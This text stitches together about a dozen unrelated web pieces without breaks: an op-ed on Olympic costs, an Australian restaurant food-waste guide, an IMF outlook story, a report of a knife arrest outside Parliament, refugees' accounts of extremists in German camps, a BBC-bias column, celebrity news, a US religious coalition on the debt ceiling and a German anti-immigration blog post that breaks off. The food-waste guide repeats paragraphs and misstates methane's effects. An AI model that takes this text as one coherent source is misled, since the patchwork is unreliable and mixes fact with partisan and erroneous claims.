And, it was three decades before the $2.7 billion owed from the 1976 Montreal Olympics was paid off. Montreal had followed the disastrous 1972 Munich Games that, in addition to the tragic loss of life, cost German taxpayers $687 million.
Even the small profits achieved by the 2002 Salt Lake City Winter Olympics and the 1996 Atlanta Summer Olympics, respectively, are illusory, as these accountings do not include millions of dollars of security assistance provided by the U.S. Defense Department (2002) or the $2 billion spent by federal, state, and local governments (1996).
A $38 billion taxpayer bailout in an era of fiscal austerity is even less palatable when one considers how little Britons will benefit economically for their efforts.
A recent Goldman Sachs report concludes that the limited gain to the UK economy this summer will dissipate before the year is out. Similarly, Moody’s Richard Morawetz says, “Overall, we think that the Olympics are unlikely to provide a substantial boost to the UK economy and believe that the impact of infrastructure developments on UK GDP has probably already been felt.”
London’s Olympic legacy will mirror that of practically every previous host city. As the academic research literature clearly shows, the promise of large long-term benefits is an economic mirage.
Increases in tourism are marginal, quite transitory, and even less pronounced for well-known destinations, such as London. There is no empirical evidence from past Olympics to suggest that London will enjoy net increases in either employment or real per capita personal income.
The same monies could have been spent on far more worthwhile projects than temporarily boosting a sense of national pride. Or, hard-pressed taxpayers could have been allowed to keep their own money to spend how they chose. Thankfully, the IOC spared American taxpayers both the cost and the insult incurred by their transatlantic cousins.
Patrick Basham directs the Democracy Institute (www.democracyinstitute.org) and is a Cato Institute (www.cato.org) adjunct scholar.A Restaurant's Guide to Reducing Food Waste Food waste is a significant problem that impacts both your profitability and the wider environment. This guide gives a full picture of food waste in the Australian food industry, and advice on food waste reduction strategies. If you are a food service business in Australia, going green should be high on your list of priorities. There’s the bigger picture plus of not harming the planet as well as the possibility to increase your profit margins and efficiency. Both the United Nations and the United States of America have committed to reducing food waste by 50% in 2030. Australian businesses in the hospitality sector need to step up to meet global standards when it comes to food waste. They simply can’t afford not to. Keep reading for detailed tips according to your specific establishment, local and state government incentives and training, information on food recovery services, and much more.
A Picture of Food Waste in Australia: Statistics and Facts What is Food Waste? Sometimes referred to as ‘food loss’, food waste refers to anything edible that is discarded or uneaten. Food wastage is a huge issue in Australia, and has many costs. Financial, environmental, and social damage all occur as a result. To come up with the best food waste solutions, the first step is forming a picture of food waste in Australia. How much of edible food in Australia is not eaten every year? How much money is lost as a result of food wastage? How does this impact the environment and a business? Here are some statistics on food waste in Australia and the world: Altogether, food waste in Australia weighs up to four million tonnes every year
It is estimated that Australians waste up to 20% of the food they purchase - this is the same as throwing out one of every five bags of groceries you buy
361 kilograms of food waste per person is the average amount of food wastage per year
That’s about 4.2 times the weight of the average Australian male. It means that every day, every person wastes nearly a kilo of food
The Commercial & Industrial sectors in Australia generate around 1.9 million tonnes of food waste annually. The Australian food industry accounts for around half of this figure, of which 78% ends up in landfill
$1036 is the average amount of money that Australian households lose per year due to food wastage
$8,000,000,000 is the collective cost estimate of food waste in Australia for the year of 2013
It is estimated that between 20 – 40% of fruits and vegetables in Australia are wasted due to the high aesthetic standards of supermarkets
A huge amount of food waste occurs in transportation and importation. Worldwide it is estimated one-third of all food is lost or wasted worldwide as it moves from the place of production to consumption
In 2011 it was thought that food waste in landfill was responsible for up to 6.8 million tonnes of carbon dioxide being released into the atmosphere in Australia
Australia produces enough food to feed approximately 60 million people, way more than our population of 24.6 million. Despite this excess of food, two million people in Australia rely on food relief every year
In 2014 – 2015, food rescue charities OzHarvest, SecondBite and Foodbank saved so much food (that would otherwise have gone to landfill) that they could make more than 72 million meals Sources:
These statistics were calculated using data from the NSW Government ‘Food Waste Avoidance Benchmark Study’; the National Waste Report 2010 by the Department of Environment, Water, Heritage, and the Arts; and ‘A study into commercial & industrial (C&I) waste and recycling in Australia by industry division’ by the Department of Sustainability, Environment, Water, Population and Communities. Why Reduce Food Waste? There are a number of reasons to try to cut food loss from our way of life. Broadly, they can be categorised into benefits for the planet and benefits for your wallet. The Environmental Cost of Food Waste As well as the loss of edible food, food waste also represents a waste of water, energy and resources used to produce the food. When organic waste rots in landfill, methane gas is produced, which has an adverse affect on the ozone layer and our environment. Methane is 25 times more toxic than the carbon dioxide of car exhaust fumes. Australian households create similar amounts of greenhouse gas emissions to those generated by the steel and iron ore industry. Every year, food waste from Aussie homes creates 5.25 million tonnes of CO2-e. To give you an idea of the scale and the importance of this number, the steel and iron ore industry generates 5.5 million tonnes of CO2-e annually. Remember, this figure does not include food waste in the restaurant or catering industry, so overall food waste accounts for even more CO2 emissions than this industry. Globally, food waste is responsible for 8% of total greenhouse gas emissions. The Economic Cost of Food Waste Research from the Australian Bureau of Statistics shows that catering and food service businesses pay between 25 – 37% of their total expenses on buying the food and beverages they sell. This is a huge percentage of total expenditure. If even more than a third of your total money spent is on food, then taking steps to reduce what is wasted could see your profits soar. The Social Cost of Food Waste There are definite social implications at play when some people can afford more food that they can eat, and others cannot. The fact that such gross excesses and mismanagement of food production can take place while some people struggle to eat shows that steps need to be taken for a more equal future. Can We Cut Our Food Waste? The good news in this alarming picture is that with just a little bit of mindfulness and effort from the Australian food industry and individuals to reduce their food waste, the results would be huge. Now it’s time for a super positive statistic! If every Australian reduced their personal food waste by just a single slice of bread, we could save up to 711,429 kg of landfill every year. That’s a huge amount of greenhouse gas emissions cut from our atmosphere.
How to Conduct a Food Waste Audit
As mentioned earlier, it is of the utmost importance that we fully understand the bigger picture of this issue in order to come up with food waste solutions. But hardly any businesses monitor what they don’t use. According to the RMIT Watch Your Waste project, only around 22% of businesses in the food sector monitor how much food waste they produce. This is surprising, because reducing food waste can increase the profits of a food service business so vastly. The following section will outline two routes you can take to conduct a food wastage audit in your hospitality business. The first method involves using free food waste templates from the Food Loss and Waste Accounting and Reporting Standard. These templates go into depth, and have the added benefit of contributing your data to a worldwide research project to understand food waste management and how to reduce their adverse environmental impacts. The second method is a simple suggestion on how to measure your food waste on your own, with only three steps. You can write out your own results in a physical table or in a simple computer spreadsheet. Method 1: Download Free Food Waste Templates If you want to conduct a waste audit for your establishment and contribute valuable data to understanding food wastage, connect with the Food Loss and Waste Accounting and Reporting Standard (FLW). The FLW is a multi-stakeholder organisation that provides a global standard for reporting and quantifying food waste. It was released in 2016 at the Global Green Growth Forum following the world-wide understanding that food wastage is a paramount issue for business and environmental support. FLW provide free spreadsheets designed specifically for any business to figure out their food wastage. Once you understand your position, you can then come up with targeted food waste reduction strategies and increase the efficiency of your business. You can find information on the FLW Standard to ensure all the data follows the same rules here:
http://flwprotocol.org/flw-standard/faqs/ You can find your free food wastage management templates from the FLW here.
http://flwprotocol.org/flw-standard/tools-resources/ Method 2: How to do Your Own Simple Food Waste Audit If you are pressed for time or don’t use a computer much in your establishment, there is a simple way to check your food waste. If you’d rather go DIY with your food wastage audit, just follow the basic steps below: Get your staff informed and involved. Get your staff informed and involved. For a food waste audit to go well, you’ll need the support and engagement of your employees for accurate results. Plus, if you can get your staff interested early, your food waste solutions will run all the more smoothly later on.
. Get your staff informed and involved. For a food waste audit to go well, you’ll need the support and engagement of your employees for accurate results. Plus, if you can get your staff interested early, your food waste solutions will run all the more smoothly later on. Measure your food waste accurately. Separate your waste into 3 categories and use standard weighing techniques across the board. To do this, simply categorise your kitchen bins, and weigh them at the end of the shift or service. This will help you strategise your waste reduction plan, and give you a more detailed picture about where exactly food is getting lost unnecessarily.
Organic food waste broadly falls under 3 categories: Waste from storage Waste from preparation Waste from your customers' plates
. Separate your waste into 3 categories and use standard weighing techniques across the board. To do this, simply categorise your kitchen bins, and weigh them at the end of the shift or service. This will help you strategise your waste reduction plan, and give you a more detailed picture about where exactly food is getting lost unnecessarily. Compare your wastage results with your business activity. Once you’ve weighed the bins, record the weights against the number of people you served during the shift. This is your base data that you can use as a reference point as you move forward with your waste reduction plans. These important numbers
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Here is some early drafts of the freedom nexus character sheets and some Tai-Quay concept art done by my fiancee. These are not the final version of the character sheets however. I'm also willing to answer questions.
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Optional feat and spell cardsNEW DELHI: India is the only big emerging economy to escape a cut in the International Monetary Fund's update of its World Economic Outlook that says the global economy seems to have tripped on an unexpected contraction in the US economy in the first quarter. IMF has retained its forecast of 5.4% growth in Indian economy in 2015 and a stronger 6.4% growth next year."In India, growth appears to have bottomed out, and activity is projected to pick up gradually after the post-election recovery in business sentiment, offsetting the effect of an unfavourable monsoon on agricultural growth," the IMF said.In fact, out of the BRICS countries - Brazil, Russia, India, China and South Africa - only India avoided an IMF ratings downgrade, as business sentiment recovers after the country's election.Global economy is now projected to grow only 3.4% in 2014, down 0.3 percentage point from the earlier forecast. "The recovery continues, but it remains a weak recovery, indeed a bit weaker than we forecast in April," Olivier Blanchard, Economic counsellor, IMF, said in a statement attributing the downward revision largely to the developments in the US."In retrospect, it (first quarter contraction in the US) seems to be largely due to one-off factors, ranging from an inventory correction to unusually bad weather.Looking forward, US growth for the rest of the year is still forecast to be 3.25% and 3% in 2015," he said. IMF has retained its 2015 forecast at 4%, but warned that geopolitical risks have risen.
"Global growth could be weaker for longer, given the lack of robust momentum in advanced economies despite very low interest rates and the easing of other brakes to the recovery," the IMF said in its outlook warning geopolitical risks could lead to sharply higher prices.
The emerging economies faced "the negative growth effects of supply-side constraints and the tightening of financial conditions over the past year could be more protracted," the IMF said but added that leading indicators suggested global recovery regaining strength in the second quarter of 2014.Barring India, all other BRICS members saw their forecast cut in the review, with Russia taking the biggest knock — its likely growth is now pegged at 0.2% compared with 1.3% earlier and, for 2015, at 1% instead of 2.3% earlier. "This reflects mainly a deterioration of business confidence, which has been aggravated by geopolitical tensions. The result has led to large capital outflows, and a near freeze in investment decisions," Blanchard said.Police today said they are keeping an 'open mind' over whether a knifeman who pulled out a blade at the gates of Parliament was a terrorist.
The bearded man was tasered and surrounded by armed officers outside Carriage Gates - just yards from where PC Keith Palmer was stabbed to death in the Westminster terror attack.
A witness told the Mail Online the man appeared 'angry' and had his fists clenched before pulling the knife out when approached by officers.
The Met said counter-terrorism officers will investigate, although they have not declared it a terrorist incident.
Scroll down for video
A man is arrested and led away by police after being arrested outside Parliament with a knife
A knifeman was tasered and held at gun point at the gates of Parliament today after a shout 'knife, knife, knife'
The man was patted down as he was held outside Parliament - very near where Pc Keith Palmer was killed during the Westminster terror attack earlier this year
Armed Police rushed to Palace of Westminster's Carriage Gates at around 11.10am and the Metropolitan Police confirmed it had arrested a man on suspicion of carrying a knife
A bang was heard and armed officers were seen standing over the man outisde Carriage Gates
The man was held by police outside Parliament before being taken away in a police van
Today's incident (pictured) is just yards from the scene of Khalid Masood's attack the palace in March. Pavement barriers are in place ahead of the Queen's Speech next week
Police officers inspect the pavement where the man was arrested. remnants of what is believed to be a police taser were seen on the floor
Armed police surrounded the man in seconds and he was taken away in a police van
Passers-by heard shouts of 'knife, knife, knife' and then saw officers pin the man down, at around 11.10am this morning.
The man, wearing black trousers and a grey sweatshirt, was held against the railings of Parliament by a number of armed police.
The Metropolitan Police confirmed today it had arrested a man on suspicion of carrying a knife. The suspect was driven away in a police van at 11.45am.
Today's incident is just yards from where Khalid Masood stabbed and killed PC Palmer in March.
It comes a year to the day since MP Jo Cox was murdered in her Batley and Spen constituency by white supremacist terror Thomas Mair.
The Met Police said: 'At this time it is too early to understand the motivation so we have not declared this a terrorist incident.
'However given the location, the circumstances and recent tragic events, the MPS Counter Terrorism Command will be investigating this incident.
'We remain open minded as to whether terrorism was a motive.'
Bradley Allen, 19, from Barking in east London, told MailOnline: 'I saw him, his fists were clenched and he seemed like an angry geezer.
'He shouted something and he went to run towards the gates and within seconds police had him pinned on the ground and were telling everyone to move back.
'It was over in seconds.'
He added: 'He had his fists clenched and looked angry, he was staring at me and my friend - I said to my mate he looked quite suspicious.
'And within seconds he had gone towards the front gate. It was so fast.
'Within seconds there were police all around and they had him pinned down. It was so fast. I didn't see any weapons.'
A Met spokesman confirmed an arrest had been made and there were no reports of any injuries.
Armed police surrounded the entrance to parliament as the man was arrested and taken away
Bradley Allen, 19, from Barking in east London, told MailOnline seeing the 'agitated' suspect with his fist clenched standing outside Parliament moments before he watched the incident unfold
The spokesman said: 'At 11:10hrs on Friday, 16 June, officers on routine duties near to the Carriage Gates entrance to the Palace of Westminster became aware of a man acting suspiciously.
'The officers approached the man in order to speak with him. The man reached for a knife, and police discharged a Taser.
'The man - aged in his 30s - was arrested for possession of a knife.
'Nobody was injured.
'The arrested man has been taken to a central London police station, where he remains in custody.'
Witnesses saw the police pat the man down and put items - including what looked to be the man's belt - into an evidence bag.
The incident took place just yards from where Khalid Masood launched an attack on Parliament on March 22 (pictured)
He was driven away from the scene in a police van just 30 minutes after the incident began.
The first sign of the incident was when a bang was heard inside the palace and armed officers scrambled to the scene.
Here is a video of the scene pic.twitter.com/a1MrTrv46L — kateferguson (@kateferguson4) June 16, 2017
Traffic was allowed to continue around Parliament Square and officers did not immediately clear the area.
Security has been heightened around the Palace of Westminster since the Masood attack incident, where he attempted to charge through the palace gates armed with knives.
His attack on Parliament came after he drove at pedestrians on Westminster Bridge.
The attack was the first of three to break through Britain's defences in the past three months.Beijing: Malaysian Prime Minister Najib Razak said that former colonial powers should not lecture countries they once exploited on their internal affairs, a Chinese newspaper reported on Wednesday, in a veiled attack on the West as he looks to strengthen ties with China.
Najib`s visit to Beijing follows that of Philippine President Rodrigo Duterte, who announced a "separation" from the United States and signed a raft of memoranda of understanding for Chinese investment in the country.
Najib, who is on a six-day visit to China, said in an editorial in the state-run China Daily that larger countries should treat smaller countries fairly.
"And this includes former colonial powers. It is not for them to lecture countries they once exploited on how to conduct their own internal affairs today," he wrote.
The Philippines is a former Spanish and US colony, and Malaysia a former British colony.
Najib is looking to strengthen ties with China after July lawsuits filed by the US Justice Department implicating him in a money-laundering scandal. Najib has denied any wrongdoing and said Malaysia will cooperate in the investigations.
More than $3.5 billion was allegedly misappropriated from 1MDB, according to civil lawsuits filed by the Justice Department. The probe has strained ties between Malaysia and the United States, with Najib dismissing it as foreign interference in Malaysia`s affairs.
The shift by the Philippines and Malaysia is being widely seen as China`s counter to US influence in the region.
Najib also wrote that disputes in the South China Sea should be resolved through dialogue in accordance with rule of law.
China claims most of the energy-rich waters through which about $5 trillion in ship-borne trade passes every year. Neighbours Brunei, Malaysia, the Philippines, Taiwan and Vietnam also have claims.
"When it comes to the South China Sea, we firmly believe that overlapping territorial and maritime disputes should be managed calmly and rationally through dialogue, in accordance with the rule of law and peaceful negotiations," he said.
Chinese Vice Foreign Minister Liu Zhenmin said on Tuesday that Malaysia had pledged with Beijing to handle South China Sea disputes bilaterally.
Malaysia agreed to buy four Chinese naval vessels and signed 14 agreements totalling 143.64 billion ringgit ($34.25 billion), Malaysian state news agency Bernama said, after a meeting between Chinese Premier Li Keqiang and Najib on Tuesday.
Najib also said Malaysia welcomed the China-backed Asian Infrastructure Investment Bank which marks a turning point "of peaceful dialogue, not foreign intervention, in sovereign states".
Global institutions needed to be inclusive of "countries that were given no say in the legal and security infrastructure that was set up by the victors of the Second World War", he added.A temporary camp at a playground at Munich, with cardboard partitions that section off "rooms". (Photo11: Jamal Jabur)
BERLIN — Saif Ali grew nervous when he met his six Syrian bunkmates in a Munich refugee camp after finally making it to Germany late last year.
“They were strong supporters of the Nusra Front,” said the Iraqi refugee, referring to the al-Qaeda-affiliated terrorist group fighting in the Syrian conflict. “I was praying five times a day, to hide my beliefs from them. They did not force me to, but I did not feel secure.”
Ali, 21, is an atheist and said his lack of religion was one reason he fled Iraq. He worried that if his bunkmates knew, they would consider him an apostate and beat him up — or worse.
It's a common story in Europe these days. Many refugees have detailed experiences similar to Ali’s, encountering extremists among the estimated 1 million migrants who made the journey into Europe from the Middle East last year.
After the Islamic State’s attacks in Paris in November and in Brussels in March, European concerns that terrorists could be arriving as refugees have taken on new importance, especially as more migrants arrive. Similar concerns are echoed in the United States, notably by Republican presidential candidate Donald Trump.
A refugee walks near a temporary camp in Stuttgart, Germany. (Photo11: Jamal Jabur)
A survey by the Washington-based Pew Research Center released this week found about half to three-quarters of Europeans, depending on the country, said the wave of refugees raises the risk of terrorist attacks in their countries. Respondents said they fear the newcomers — even as some refugees say the same thing.
“I see many extremists,” said Bader Khaishah, 28, a Syrian refugee at a Munich refugee camp. “I cannot be certain, but they have strong tendencies (toward militancy). I can feel this from the extremist tunes on their mobile phones, their injuries and their reaction when discussing the incidents in our region.”
Frontex, the European Union's border control agency, said the Paris terrorist attacks that killed 130 people demonstrated that terrorists can mingle among the flow of migrants into Europe. "Two of the terrorists involved in the attacks had previously irregularly entered through Leros (a Greek island) and had been registered by the Greek authorities,” Frontex said in its 2016 risk analysis.
German Chancellor Angela Merkel said this week that militant groups are sneaking people into Europe among the refugees. "The refugee wave (last year) was used by some to smuggle in terrorists," she said.
Germany said it is investigating about 40 cases of suspected radicals posing as refugees. In June, German police arrested three Syrian men on allegations of planning a terrorist attack in Dusseldorf for the Islamic State. A fourth man allegedly linked to the plot is in custody in France.
A residence building for refugees in Stuttgart. (Photo11: Photo courtesy of Jamal Jabur)
Jamal Jabur, 32, an Iraqi refugee in Esslingen, Germany, said he met three men who claimed they previously fought for the Islamic State. Two of the men, from Ramadi, Iraq, were forced into the militant group, he said. But a third, from the Iraqi city of Mosul, believed in the Islamic State’s cause and often chastised anyone who didn’t follow the group’s harsh interpretation of Islam.
“The man from Mosul is a dangerous person,” Jabur said. “Once, the man from Ramadi and I talked with a German woman, and the Mosul member said this is wrong, and that prophet Mohammed disapproves.”
Jabur said he never met anyone affiliated with the Islamic State, also known is ISIS or ISIL, when he lived in Baghdad from 2003 until 2015.
"Within a few days in the refugees' camp in Germany, I met three former ISIS members," he said, shaking his head. “There are lots of them. Many are escaping the service with ISIS, but they seem to be dangerous. I felt afraid to tell the camp administration about them.”
Some extremists see their mission as converting Christians into Muslims, Ali said about a fighter from the Nusra Front militant group who was forced out of Syria after the Islamic State invaded his town.
“One of this man’s goals after getting the residence (permit) was to spread Islam. He said, 'Europe will become Muslim, we will Islamicize (them),'” Ali said.
Others who share that goal believe they are being helpful, Ali added.
"They are happy with the German attitude of welcoming other cultures and see it a suitable environment to spread Islam," he said. "They say, 'Germans are good, and we should save them.'"
Nabeel reported from Istanbul.
Read or Share this story: http://usat.ly/29TkmJSWhy is the BBC obsessed with making working-class people seem racist?
Watching BBC news bulletins yesterday, it was very easy to believe claims that the current spate of wildcat strikes is inherently motivated by xenophobia. Constant emphasis was placed on objections to "foreign workers" per se, rather than fear of workers' wages being undercut, which would seem to be the real issue.
The 10 o'clock bulletin gave us a good example. A voiceover by the BBC's political editor, Nick Robinson, (about 12 mins in) told us: "Beneath the anger, ministers fear, lies straightforward xenophobia." Cut to woolly-hatted worker telling BBC reporter: "These Portugese and Eyeties – we can't work alongside of them." There we are: northern white bloke refusing to work with foreigners. Case closed.
Except, watch Paul Mason's report on Newsnight, featuring the same interview (about 4:30 in):
These Portugese and eyeties – we can't work alongside of them: we're segregated from them. They're coming in in full companies.
Even taking into account the dodginess of the use of "Eyetie" to refer to an Italian person, one has to admit that it would be very difficult to portray the second, full quote as racist or xenophobic. It's a statement addressing basic workplace issues – British workers literally cannot work alongside foreign workers, as they are separated. There really is no excuse for editing and presenting a quote in such a misrepresentative manner, unless one is setting out to prove something – namely, that working-class people are racists.
The BBC does have form on this, unfortunately: last year's White season was almost exclusively concerned with portraying white working-class people as paranoid and racist. This despite the fact – and this really needs to be repeated until it's firmly implanted in every bien pensant liberal's head – that white working-class people are the most likely to have friends of other races and religions, and are most likely to marry and have children with people of other races and religions. Not the behaviour of a resentful army of racists.
The apex of the White season's utter weirdness was a Newsnight interview with the BNP's Nick Griffin, author of Who Are The Mindbenders, a 1997 pamphlet detailing how "the Jews" control the BBC and other media. Griffin was interviewed on his own, and then we were taken in to a panel discussion featuring, among others, Bob Crow and Nick Ferrari (both of whom had obviously refused to share a platform with Griffin, hence the solo interview). Hardly natural bedfellows, Crow and Ferrari took turns lambasting the BBC for its portrayal of working-class people. It was an encouraging sight.
But even after this spectacular dressing down, the practice persists. Why? Is it because of a skewed identity politics at play in BBC newsrooms and commissioning meetings? Or is it because the BBC, like much of the media, is increasingly dominated by middle-class scions who don't actually know many working-class people, and thus breezily project any prejudice or other trait they wish on to them? Either way, it's a sordid state of affairs, and – as shown by the devious editing of last night's 10 o'clock news, a dangerous one, too.Hugh Jackman wants you to know he's not gay and he wishes you would stop asking.
In a recent interview with Australia's "60 Minutes," Jackman and his wife of 17 years, Deborra-Lee Furness, expressed frustration over the constant rumors about the actor's sexuality.
Jackman, who in the past has starred as the flamboyant lead of the Broadway show "The Boy from Oz," finds the accusations, as flattering as they are, frustrating. He also just feels bad for his wife.
"It's, to me, not the most interesting thing about a person, anyway," he said. "I do get frustrated for Deb, cause I see Deb go, 'Ah, this is just crazy!'"
Furness just finds the questioning "offensive."
"If he was gay, fine, he would say he's gay," she said. "It's annoying because it's not true."
This isn't the first time Jackman has spoken out about how the rumors affect his wife.
In February the actor told The Hollywood Reporter the speculation "bugs" his wife and he revealed she has a hard time ignoring whispers about his alleged homosexuality. "She goes: 'It's big. It's everywhere!'"
The "60 Minutes" interview also features adorable exchanges between Jackman and his wife who fell in love when they co-starred on the TV drama, "Correlli" in 1995. The couple discusses how their lives changed after the "X-Men" films, how their kids, Oscar and Ava, are not too impressed with superhero dad, and how much in love they still are after all of these years.A new coalition of influential Christian groups is ramping up pressure on President Obama and Congress to shield the poor from spending cuts in the debt-limit struggle, with one organization launching an advertising campaign Tuesday on Christian radio stations in politically important markets.
The ads, airing in the home states of Senate Majority Leader Harry M. Reid (D-Nev.) and Senate Minority Leader Mitch McConnell (R-Ky.), and in the home district of House Speaker John A. Boehner (R-Ohio), feature local pastors declaring the federal budget a “moral document.”
“The book of Proverbs teaches that where there is no leadership, a nation falls, and the poor are shunned while the rich have many friends,” says Las Vegas pastor Tom Jelinek in one ad. “Sadly, Congress has failed to heed these biblical warnings.”
The ads are sponsored by the liberal evangelical group Sojourners, which has teamed up with other Christian organizations from across the political spectrum to form a coalition called the Circle of Protection.
The coalition includes black and Hispanic clergy organizations as well as more conservative groups, such as the National Association of Evangelicals and the United States Conference of Catholic Bishops.
The group’s Web site poses a question designed to send chills through any politician who looks to churches and religious groups as a source of large voting blocs: “What would Jesus cut?”
Coalition leaders met last week at the White House for 40 minutes with Obama, admonishing him to protect Medicaid, food stamps, aid to poor women with infant children, international development aid and other programs specifically targeted to the poor.
The group is responding to the heated battle between congressional Republicans and the White House over raising the country’s $14.3 trillion debt ceiling, which must be lifted before Aug. 2 or else the nation will go into default. Republicans seek drastic spending cuts and major reform of entitlement programs such as Medicare and Social Security; Democrats want new revenue along with decreased spending.
At the White House meeting, Bishop Ricardo Ramirez of New Mexico told Obama that his willingness to defend the poor from steep cuts would be a “fundamental moral measure” of his administration.
“There seem to be several ‘givens’ in this debate,” Ramirez said, according to an e-mail from his office. “For Republicans, no new taxes is a given. For some Democrats, no cuts in Medicare are a given. For others, no cuts in military spending is a given. For your administration, some additional revenues are a given. Sadly, if you listen to the debate it seems that protecting the poor and vulnerable is not a given. That is why we are here.”
Jim Wallis, president of Sojourners, said Tuesday that he was encouraged by Obama’s reaction to the group. The president, he noted, even cited the Bible during the private meeting in the Roosevelt Room, alluding to Jesus’s expressions of concern for the “least of these.”
But Wallis and several others expressed dismay that Obama, in his nationally televised address Monday night, focused mostly on protecting the middle class. “No mention of the poor or the most vulnerable,” Wallis said.
Aides to Obama and congressional leaders did not respond immediately to requests for comment on the radio ad campaign.
Coalition officials said they have met in recent weeks with Reid and top aides to Boehner, as well as with House Budget Committee Chairman Paul Ryan (R-Wis.).
The religious leaders said Tuesday that they were reviewing the latest proposals from Reid and Boehner for steep cuts to the federal budget. They expressed concern that both plans appeared to endorse trillions of dollars in cuts that, according to the church leaders, would most likely hit the poor hard.
David Beckmann, president of Bread for the World, one of the coalition partners, said the speaker’s plan appeared to include an exemption for means-tested programs if automatic cuts are triggered, which Beckmann called a welcome development.
“I don’t think they want to make kids hungrier,” he said. “But if you have deep, unspecified cuts in spending, they will make kids hungrier.”
Read more on PostPolitics.
Obama’s shifting tone on debt ceiling
Boehner presses debt plan opposed by Dems
Members of Congress flooded by calls(www.conservo.wordpress.com)
Von Peter Helmes
Alarmierende Zahlen und kein Rezept
Es ist kein Zufall, daß – unabgesprochen – innerhalb einer Woche auf conservo mehrere Beiträge zur Asylpolitik mit Artikeln von „altmod.de“, „bayernistfrei.com“, conservo-Kolumnist Herbert Gassen, Peter Helmes und Freddy Kühne erscheinen. Die Autoren (mich eingeschlossen) zeigen damit, daß das Problem „brennt“.
Die Zahlen der in den nächsten Jahren nach Europa kommenden „Flüchtlinge“ mögen je nach Quelle und Zeitspanne divergieren, ihre schiere Größe selbst bei der untersten Schätzung sollte jedoch jeden alarmieren, der noch so etwas wie Verantwortungsbewußtsein für unsere Nation, für Europa und unsere gemeinsamen christlich-abendländischen Werte hat.
50-80 Millionen Migranten aus Afrika?
Gestern hat conservo Zahlen veröffentlicht, die aus einer zuverlässigen Quelle stammen und sich auf den Zeitraum bis zum Jahre 2020 beziehen, siehe: https://conservo.wordpress.com/2017/01/06/neue-fluechtlingswelle-15-mio-afrikaner-kommen-nach-europa/#comment-6465.
Der nachfolgende Beitrag von „bayernistfrei“ umfaßt einen Zeitraum bis etwa 2050 und geht von noch weit explosiveren Zahlen aus, die sich auf Angaben des österreichischen
Verteidigungsministers Hans Peter Doskozil (SPÖ) und der EU-Kommission stützen.
Danach werden (bis 2050) etwa 50-80 Millionen Migranten aus Afrika erwartet.
Ob diese Zahl wirklich erreicht wird – was einer Katastrophe auf dem europäischen Kontinent gleichkäme – hängt davon ab, ob es uns gelingt, zu einem Umdenken in der Asylpolitik zu kommen.
Da bin ich skeptisch. Wenn conservo-Autor Herbert Gassen auf seinen seriösen Beitrag und seiner gezielten Frage an Innenminister de Maizière, die er am 14. Juni 2016 stellte, bis heute keine Antwort erhalten hat, scheint meine Skepsis nur zu berechtigt (siehe:https://conservo.wordpress.com/2017/01/07/wann-antworten-sie-herr-de-maiziere-und-was/).
Länger als ein halbes Jahr ohne Antwort in einer existenziellen Frage unseres Volkes! Das schürt Politikverdrossenheit und trägt zur Radikalisierung der Bevölkerung bei, die von Politikern der etablierten Parteien gerne angeprangert wird. Dabei verwechseln sie aber Ursache und Wirkung.
Ein Übel, eine Nebenwirkung unserer ach so sozialen Willkommenskultur wird gerne übergangen: „…Dabei kommt erschwerend hinzu, daß Merkels offene Grenzen zum zehntausendfachen Mißbrauch der Sozialsysteme einladen – ausgenutzt von Menschen, die sich unter 7 oder gar 10 verschiedenen Identitäten in verschiedenen Städten registrieren und entsprechend ausbezahlen lassen…“, schreibt Freddy Kühne in seinem Artikel (https://conservo.wordpress.com/2017/01/07/merkel-der-lack-ist-ab-und-die-glaubwuerdigkeit-dahin/). Über die konkreten Mißbrauchszahlen darf mangels behördlicher Information nur spekuliert werden, was wiederum den Unmut anheizt.
Doch zunächst zu dem höchst aufschlußreichen Artikel unseres Partnerblogs „bayernistfrei“:
Österreich gegen „verfehlte Asylpolitik“: Asylverfahren raus aus Europa!
Von floydmasika *)
Während die Merkel-CDU sich weiterhin hartnäckig weigert, sich auf die von der CSU ebenso hartnäckig geforderte Asylmigrationsobergrenze festzulegen, fordert Österreichs sozialdemokratischer Verteidigungsminister die Festschreibung solcher Obergrenzen für ganz Europa und überhaupt die Abkehr von der bisherigen „verfehlten Asylpolitik“. Rosenheim 24 berichtet:
Über Österreichs Forderung berichtet „Bild“ (Freitag) unter Berufung auf ein Konzept des österreichischen Verteidigungsministers Hans Peter Doskozil.
„Es geht darum, die verfehlte europäische Asylpolitik zu beenden: Wir müssen uns alle eingestehen und ehrlich sagen, dass die Aufnahmekapazitäten in der EU begrenzt sind“, sagte der SPÖ-Politiker zu seinem Konzept. „Wir müssen die illegalen Einreisen unterbinden.“
Der Wiener Kurier berichtet:
Um die Fluchtbewegungen in den Griff zu bekommen und die Flüchtlingszahlen massiv einzudämmen, hat Verteidigungsminister Hans Peter Doskozil zuletzt – auch im KURIER-Interview – Asyl- und Migrationszentren außerhalb der EU verlangt. Jetzt gibt es das konkrete Konzept, das dem KURIER vorliegt. Sein Ziel ist es, illegale Migration zu verhindern und legale Einreise für Schutzsuchende zu ermöglichen. In Zukunft sollen keine Asylanträge mehr auf europäischem Boden gestellt werden, sondern nur noch in den Verfahrenszentren außerhalb der EU. Im afrikanischen Niger zum Beispiel könnte so ein Zentrum errichtet werden.
Das bedeutet nichts anderes als eine Festschreibung einer Obergrenze für jedes EU-Land. „Erst nach ausführlicher Prüfung jedes Asylantrages soll es in Zukunft möglich sein, eine begrenzte Anzahl von Personen in die EU legal einreisen zu lassen. Bei der Integration von Asylberechtigten ist unbedingt auf die Kapazitätsgrenze eines Landes zu achten“, bestätigt der Minister. Jene Personen, die kein Recht auf Asyl haben, sollen umfassend informiert und in ihre Herkunftsländer zurückgeführt werden. Ist das Herkunftsland nicht gewillt, seine eigenen Staatsbürger zurückzunehmen, erfolgt die Rückführung in eine sichere Schutzzone. In solche sicheren Schutzzonen sollen auch jene Menschen gebracht werden, die illegal in die EU eingereist sind.
Die „Presse“ (Wien) berichtet:
